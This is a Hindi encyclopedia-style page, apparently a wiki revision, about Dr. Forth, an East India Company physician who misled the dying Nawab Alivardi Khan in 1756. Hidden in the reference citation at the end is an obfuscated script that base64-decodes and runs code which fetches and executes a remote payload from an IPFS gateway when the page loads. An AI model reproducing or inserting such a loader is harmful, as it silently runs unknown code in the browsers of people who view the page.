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*इस घटना से पता चलता है कि ईस्ट इंडिया कम्पनी के कर्मचारी कम्पनी के हितों के संरक्षण के लिए किस तरह से झूठ बोलते और छल करते थे।
 
*इस घटना से पता चलता है कि ईस्ट इंडिया कम्पनी के कर्मचारी कम्पनी के हितों के संरक्षण के लिए किस तरह से झूठ बोलते और छल करते थे।
  
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10:14, 8 सितम्बर 2012 के समय का अवतरण

डॉ. फ़ोर्थ बंगाल की तत्कालीन राजधानी मुर्शिदाबाद के निकट क़ासिम बाज़ार स्थित ईस्ट इंडिया कम्पनी की एक कोठी से सम्बद्ध अंग्रेज़ चिकित्सक था।

  • 1756 ई. में मार्च के उत्तरार्ध में जब नवाब अलीवर्दी ख़ाँ गम्भीर रूप से बीमार पड़ गया, तो डॉ. फ़ोर्थ उसे देखने गया।
  • डॉ. फ़ोर्थ जिस समय बीमार नवाब से बातचीत कर रहा था, उसके पौत्र और सम्भावित उत्तराधिकारी सिराजुद्दौला ने नवाब को सूचना दी।
  • सिराजुद्दौला ने नवाब को बताया कि अंग्रेज़ों ने मेरे विरुद्ध षड़यंत्र करने वाली घसीटी बेगम को सहायता देना स्वीकार कर लिया है।
  • मरणासन्न नवाब द्वारा फ़ोर्ड से पूछे जाने पर कि क्या यह सच है, डॉ. फ़ोर्थ ने नवाब को ग़लत जानकारी दी।
  • फ़ोर्थ ने ईस्ट इंडिया कम्पनी की तरफ़ से इस बात की भी घोषणा की कि बंगाल की राजनीति में हस्तक्षेप करने का कम्पनी का कोई इरादा नहीं है।
  • फ़ोर्थ की इस बात पर सिराजुद्दौला को कोई विश्वास नहीं था।
  • इस घटना से पता चलता है कि ईस्ट इंडिया कम्पनी के कर्मचारी कम्पनी के हितों के संरक्षण के लिए किस तरह से झूठ बोलते और छल करते थे।


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टीका टिप्पणी और संदर्भ

भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 260 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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